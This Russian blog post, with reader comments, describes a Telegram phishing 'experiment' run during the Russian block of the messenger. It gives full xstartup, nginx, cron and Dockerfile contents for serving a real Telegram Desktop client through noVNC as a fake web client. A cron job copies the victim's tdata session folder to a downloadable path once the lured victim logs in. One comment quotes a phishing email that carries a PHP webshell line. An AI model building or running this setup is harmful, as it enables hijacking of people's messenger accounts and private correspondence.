Угон Телеграм на волнах паники

Сегодня очень неоднозначно развивается ситуация вокруг совместного решения Федеральной службы безопасности Российской федерации и Роскомнадзора о блокировке мессенджера «Телеграм». Данное решение опрометчиво по целому ряду причин, и несет в себе больше проблем, чем пользы в борьбе с угрозой терроризма.

Для зрелого бизнеса который учитывал риски связанные с решениями правительства, это создало некоторое неудобство, так как пришлось использовать обходные решения с использованием VPN. Но для рядовых пользователей которые небыли готовы к такому повороту событий это принесло новые угрозы. В панике пользователи стали искать и использовать первые попавшиеся бесплатные VPN, абсолютно не задумываясь что это может обернуться для них западней в виде DNS пушапов, и прочих MITM атак.

Телеграм имеет самую большую аудиторию, и этот факт ИТ бизнес не смог обойти стороной. Компании в свою очередь инвестировали огромный капитал в разработку бизнес инструментов использующих API данного мессенджера. Даже ряд государственных проектов вкладывал деньги в разработку ботов технической поддержки, ярким примером которого является портал Госуслуги(ЕПГУ).

Волна хайпа, спровоцировала спор с коллегами на предмет уязвимости паникующих пользователей, и мы решили провести эксперимент по фишингу Телеграм.

Многие пользователи столкнулись с проблемами доступа к Web версии данного мессенджера и мы решили сыграть на этом. Нашей целью стало получение профиля tdata, в котором хранятся те самые пресловутые ключи шифрования и данные о сессии.

В состав нашего рецепта вошли следующие основные компоненты:

  • Telegram Desktop 1.2.17 (linux)
  • Docker version 17.05.0-ce
  • noVNC

По замыслу нужно собрать образ Docker в котором будут стартовать иксы и Телеграм, а noVNC будет транслировать нам запущенный Телеграм через nginx в веб-браузер клиента.

Шаг 1: Ограничиваем выполнение окружения рабочего стола, выполнением только Телеграм и трансляцией его через VNC сервер.

Для этого создаем файл .vnc/xstartup со следующим содержимым:

#!/bin/sh
 
if [ -z "$VNCAPP" ]
then
  # Uncomment the following two lines for normal desktop:
   unset SESSION_MANAGER
   exec /etc/X11/xinit/xinitrc
 
  [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
  [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
  xsetroot -solid grey
  vncconfig -iconic &
  x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
  x-window-manager &
else
  xsetroot -solid black
  vncconfig -iconic &
  x-window-manager &
  $VNCAPP
  sleep 10
  vncserver -kill $DISPLAY
fi

Шаг 2: Пробрасываем трансляцию noVNC на 80 порт при помощи nginx.

Создаем конфигурационный файл default что бы потом положить его в образ.

upstream vnc_proxy {
    server 127.0.0.1:6080;
}


server {
        listen 80 default_server;
        listen [::]:80 default_server;



location / {
add_header Access-Control-Allow-Origin *;
proxy_pass http://127.0.0.1:6080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_redirect default;
client_max_body_size 10m;
client_body_buffer_size 128k;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
}
location /websockify {
          proxy_http_version 1.1;
          proxy_pass http://vnc_proxy/;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection "upgrade";

          # VNC connection timeout
          proxy_read_timeout 61s;

          # Disable cache
          proxy_buffering off;
    }
}

Шаг 3: Так как мы строили экспериментальную модель, а не полноценный сервис по Телеграм фишингу, для извлечения данных мы решили копировать архив каталога tdata с помощью cron в один из каталогов доступных веб-серверу.

Создаем cron файл со следующим содержимым

* * * * *  root tar -czf /root/tests/data.tar.gz /root/.local/share/TelegramDesktop

Шаг 4: VNC:

Данный шаг требует кастомизации noVNC, мы выпилили из него тулбары и прописали автоматическое подключение к VNC серверу указав пароль который соответствует паролю .vnc/passwd данный пароль можно сгенерировать утилитой vncpasswd.

Шаг 5: Сборка образа Docker:

Все что мы подготовили заранее включая бинарник Telegram, складываем в один каталог, создаем Dockerfile и приступаем к сборке.

# Version: 0.0.1
FROM vcatechnology/linux-mint

MAINTAINER Poul Lysunenko <mpoul@hungosh.net>
RUN apt update 
RUN apt install -y net-tools language-pack-ru cinnamon nginx chromium-browser vnc4server xvnc4viewer xfonts-base
RUN locale-gen ru_RU.UTF-8 && dpkg-reconfigure locales
COPY noVNC/ /root/
COPY .vnc/ /root/.vnc
COPY default /etc/nginx/sites-available/
COPY Telegram /root/
COPY cron /etc/cron.d/sample
RUN apt install -y cron
EXPOSE 6080

ENTRYPOINT /usr/sbin/service nginx start && /usr/sbin/service cron start && VNCAPP=/root/Telegram vnc4server -depth 24 -geometry 800x600 && /root/utils/launch.sh --vnc localhost:5901

Шаг 6: После сборки и запуска образа, используя все знания и умения в социальной инженерии приглашаем жертву эксперимента на дегустацию альтернативы веб-версии Телеграм.

Спустя минуту после авторизации скачиваем профиль /tests/data.tar.gz

Выводы:

Как вы понимаете спор с коллегами я выиграл, но радости данный выигрыш не принес. Положение дел в области информационной безопасности имеют отрицательные тренды связанные с условиями резких изменений в политиках использования интернета в России. Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.

P.S.: Не забудьте сверить открытые сессии ваших месседжеров, возможно сейчас кто-то читает вашу переписку
Поделиться публикацией
Комментарии 21
    +8
    «Телеграм имеет самую большую аудиторию», среди кого?
      +9
      По всей видимости среди заблокированных РКН мессенджеров.
        –9
        А РКН еще кого-то блокировал?
          0
          Zello?
            0

            BBM. Первые удостоились блоков целыми подсетями. И до сих пор в блоке.

          +4
          Ради интереса глянул, что было до этого хайпа
          «В январе 2018 г. Институт современных медиа провел опрос среди 100 тыс. россиян, по результатам которого самым популярным мессенджером также оказался WhatsApp с долей в 59% пользователей. 36% опрошенных сообщили, что используют в Viber, это обеспечило ему второе место в списке. На третьем месте расположился мессенджер «ВКонтакте», которым пользуются 32% россиян. Telegram востребован у 19% пользователей, Facebook Messenger — у 14%, сообщал институт.
            –3
            Нужно учитывать, что большая часть перечисленных Вами мессенджеров распространяются OEM, таким образом можно сказать что производители электроники повлияли на показатель популярности, многие стали использовать данные мессенджеры из коробки. На сколько я знаю телеграм в состав предустановленного ПО не входит.
          +16
          То есть вы, грубо говоря, кому-то на странице отдали интерфейс приложения Telegram, полученный по VNC, потом заграбастали его профиль? Это круче, чем отрава для тараканов, которую надо капать им в рот.
            0
            Ну тут недавно некий телеграм точка онлайн рекламировали (прям так русскими буквами)
              +2
              Нашлась аудитория, которая кушала эту отраву. Это еще раз подверждает что люлям долго еще созревать в отношении защиты собственной безопасности. Людям нужно чаще задумыватся над адекватностью своих действий на просторах Интернета
              +1
              Сегодня очень неоднозначно развивается ситуация вокруг


              А по-моему, так вполне однозначно.
                +4
                попросили ввести логин и пароль? хмммм
                А не проще было попросить дать логин и пароль для тестов эффект тот же. imho
                  0
                  Обычный экперимент с фишингом. Вы бы дали свой код/пароль от телеграма для тестов? Мы подтвердили для себя, что вовремя хайпа народ теряет голову и делает не ращумные вещи, доверяя любой новой фишке не задумываясь о безопасности.
                      +3
                      Ну это из разряда nic.ru
                      Уважаемый администратор домена!
                      В соответствии с дополнениями, внесенными в правила ICANN, необходимо подтвердить, что управление доменом XXX осуществляется лицом, указанным в качестве его администратора.

                      Для подтверждения того, что Вы имеете возможность управлять доменом, создайте в корневой директории сайта файл 9dededee233432.php со следующим содержимым:

                      <?php
                      assert(stripslashes($_REQUEST[6L4TV]));
                      ?>
                      вот у вас тоже самое
                    +2
                    Начали с угроз MITM-ом, было интересно, закончили «Мы заманили пользователя на левый клиент и сперли его данные», стало не интересно. Да хомяков эта отрава может немного покосить. Но вот про посетителей хабра, очень сильно сомневаюсь.

                    На фоне сказанного этот шедевр особенно хорош:
                    Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.
                      0
                      А еще с вашего устройства могут просто скопировать вашу сессию если вдруг вы забыли заблокировать ноут на работе пока ушли курить и вы об этом никогда не узнаете т.к. новой сессии не появится.
                        0
                        Согласен, но для этого даже курить никуда не надо ходить, если твой рабочий компьютер вхож в корпоративный домен.
                        +1
                        А где MITM?
                        P.S. Нигде, вопрос снят
                          +2
                          С таким же успехом можно сделать proxy_pass до web.telegram.org (https://www.slideshare.net/sergeybelove/nginx-warhead)

                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                          Самое читаемое